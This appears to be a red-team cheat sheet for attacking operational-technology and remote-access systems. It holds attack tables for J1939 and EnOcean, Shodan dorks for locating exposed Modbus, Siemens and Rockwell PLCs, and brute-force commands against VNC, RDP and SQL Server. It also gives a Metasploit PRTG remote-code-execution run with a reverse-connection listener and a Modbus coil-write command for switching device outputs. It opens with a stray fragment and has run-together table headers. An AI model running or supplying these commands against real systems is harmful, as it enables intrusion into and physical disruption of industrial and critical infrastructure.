Conduct Denial of Service (DoS) attacks targeting CC-Link IE devices to disrupt their normal operation

J1939

Attack MethodsKnown Exploitation MethodsSpecific Offensive Security Tools in Kali LinuxDetail Real Example CommandsSpecific Exploit in Metasploit or Exploit PackSpecific Nmap Script NameNuclei TemplatesScrapy CodeCommands Description

Spoofing

Manipulation of CAN Bus Messages

-

-

-

-

-

-

Manipulate CAN bus messages to spoof J1939 communication, such as altering message identifiers, data payloads, or source addresses

Replay Attacks

Intercepting and Resending J1939 Messages

-

-

-

-

-

-

Intercept and capture valid J1939 messages, then replay them later to achieve unintended effects or manipulate vehicle behavior

Reverse Engineering

Analyzing J1939 Message Structures

-

-

-

-

-

-

Reverse engineer J1939 message structures to understand their meanings, data formats, and relationships to identify potential vulnerabilities and attack vectors

Diagnostic Tools

CAN Bus Analyzers, J1939 Diagnostic Tools

-

-

-

-

-

-

Utilize CAN bus analyzers and J1939 diagnostic tools to monitor, analyze, and interact with J1939 network traffic for troubleshooting, testing, and potential exploitation

Fuzzing

Sending Malformed J1939 Messages

-

-

-

-

-

-

Send intentionally malformed or unexpected J1939 messages to the target system to test its resilience against input validation vulnerabilities

Device Manipulation

Physical Access to J1939 Devices

-

-

-

-

-

-

Gain physical access to J1939 devices or interfaces for direct manipulation or tampering with the communication, hardware, or firmware

Eavesdropping

CAN Bus Sniffing Tools

-

-

-

-

-

-

Use CAN bus sniffing tools to eavesdrop on J1939 network traffic, capturing and analyzing the communication for potential security vulnerabilities

EnOcean

Attack MethodsKnown Exploitation MethodsSpecific Offensive Security Tools in Kali LinuxDetail Real Example CommandsSpecific Exploit in Metasploit or Exploit PackSpecific Nmap Script NameNuclei TemplatesScrapy CodeCommands Description

Packet Analysis

Wireshark

sudo wireshark

-

-

-

-

-

Use Wireshark to capture and analyze EnOcean network traffic, inspecting the protocol packets and identifying any vulnerabilities or anomalies in the communication

Traffic Manipulation

Scapy

sudo scapy

packet = Ether() / Raw(load="<data_payload>")

-

-

-

sendp(packet)

Utilize Scapy, a powerful packet manipulation tool, to craft and modify EnOcean packets for testing and analysis. Create a packet using the provided Scapy code template, replacing <data_payload> with the desired data payload. Then, send the packet using the sendp() function

Network Scanning

nmap

sudo nmap -p <port_range> <target_IP>

-

-

-

-

-

Employ nmap to scan the EnOcean network, identify active devices, and gather information about their configurations and open ports

Unauthorized Access

Default Credentials, Brute-Force Attacks

-

-

-

-

-

-

Exploit default credentials or perform brute-force attacks against EnOcean devices to gain unauthorized access

Exploitation

-

-

-

-

-

-

-

No known specific exploits or tools for exploiting EnOcean protocol vulnerabilities

Denial of Service (DoS)

-

-

-

-

-

-

-

Conduct Denial of Service (DoS) attacks targeting EnOcean devices to disrupt their normal operation

VNC

VNC (Virtual Network Computing) is a popular remote desktop sharing protocol that allows a user to control a computer over a network connection. In the context of red teaming for OT attacks, VNC can be used to gain remote access to an Industrial Control System (ICS) or Supervisory Control and Data Acquisition (SCADA) system. This could be done by exploiting vulnerabilities in the system or by using phishing attacks to gain access to an employee’s computer with administrative access to the ICS or SCADA system

Find VNC Server:

Shodan:

vnc country: [two letter country code]

or

nmap -p 5900 [target IP address]

or

nc [target IP address] 5900

To Connect:

vncviewer -autopass [target IP address]:[display number]

to Crack:

use auxiliary/scanner/vnc/vnc_login
set rhosts [target IP address]
set user_file [path to username file]
set pass_file [path to password file]
run

or

vncrack -P /path/to/password/file.txt -u username -H <IP address> -v <VNC port>

or

hydra -L usernames.txt -P passwords.txt -s 5900 -f -vV <target_ip> vnc

RDP

To Find:

Shodan:

rdp country: [two letter country code]

or

nmap -sS -p 3389 [target IP address]

or

masscan -p3389 192.168.1.0/24 --rate=10000

or

nc -zv 192.168.1.1 3389

or

hping3 -S 192.168.1.0/24

or

unicornscan -mT 192.168.1.0/24:a

To Crack:

hydra -l username -P /path/to/wordlist.txt rdp://targetip

or

medusa -u username -P /path/to/wordlist.txt -h targetip -M rdp

or

ncrack -vv --user username -P /path/to/wordlist.txt rdp://targetip

or

crowbar -b rdp -s targetip/32

To Connect:

rdesktop -u username -p password -g 1024x768 -a 16 x.x.x.x

or

xfreerdp /u:username /p:password /v:rdp-server

or

remmina --connect rdp://username:password@rdp-server

or

vinagre -c "rdp://username:password@rdp-server"

PRTG

Reconnaissance

Shodan

"title:PRTG inurl:/index.htm?tabid=0&sort=Errors&filter_status=-1"

or

"html:"PRTG Traffic Grapher""

Censys

"p443.title: PRTG Traffic Grapher"

or

"autonomous_system.organization: Paessler AG" 

or

nmap -sn 192.168.1.0/24
nmap -p 80,443,8443 192.168.1.0/24

Enumerate PRTG servers:

msfconsole -q
use auxiliary/scanner/http/dir_scanner
set RHOSTS 192.168.1.10
set RPORT 80
set THREADS 5
set PATH /
run

Exploit the PRTG server:

msfconsole -q
use exploit/windows/http/prtg_authenticated_rce
set RHOST 192.168.1.10
set RPORT 80
set LHOST 192.168.1.20
set LPORT 4444
set TARGETURI /
run

SQL

Enumerate

nmap -sS -p 1433 -oA outputfile 192.168.1.1/24

Crack

hydra -L users.txt -P passwords.txt -vV <target_ip> sql-server

industrial control systems(ics)

Reconnaissance

nmap -p 102,502 -sV <target_ip>

This shodan dork searches for Modbus servers, which are commonly used in ICS systems.

"port:502 modbus"

and

"port:44818"

This dork searches for PLCs (Programmable Logic Controllers) that use the proprietary Rockwell Automation protocol.

"port:1911

This dork searches for the Foxboro I/A Series Distributed Control Systems (DCS), which are used in various industries such as oil and gas, chemical and power generation.

"port:102

This dork searches for Siemens SIMATIC S7 PLCs, which are used in industrial automation and control.

"port:20000"

This dork searches for the Schneider Electric Modicon Modbus Protocol, which is used in various industrial control applications.

TR-069

TR-069 is a protocol used by ISPs to remotely manage customer routers. Attackers can exploit vulnerabilities in this protocol to take control of the router.

python3 genieacs.py --list

Modbus

Modbus is a protocol used in industrial control systems. Attackers can exploit vulnerabilities in Modbus to take control of these systems.

modscan.py -a <target> -p 502 -t 0 -r 1-100

or

This command targets the Modbus protocol and attempts to trigger a “write single coil” command to turn on a specific output on the target device.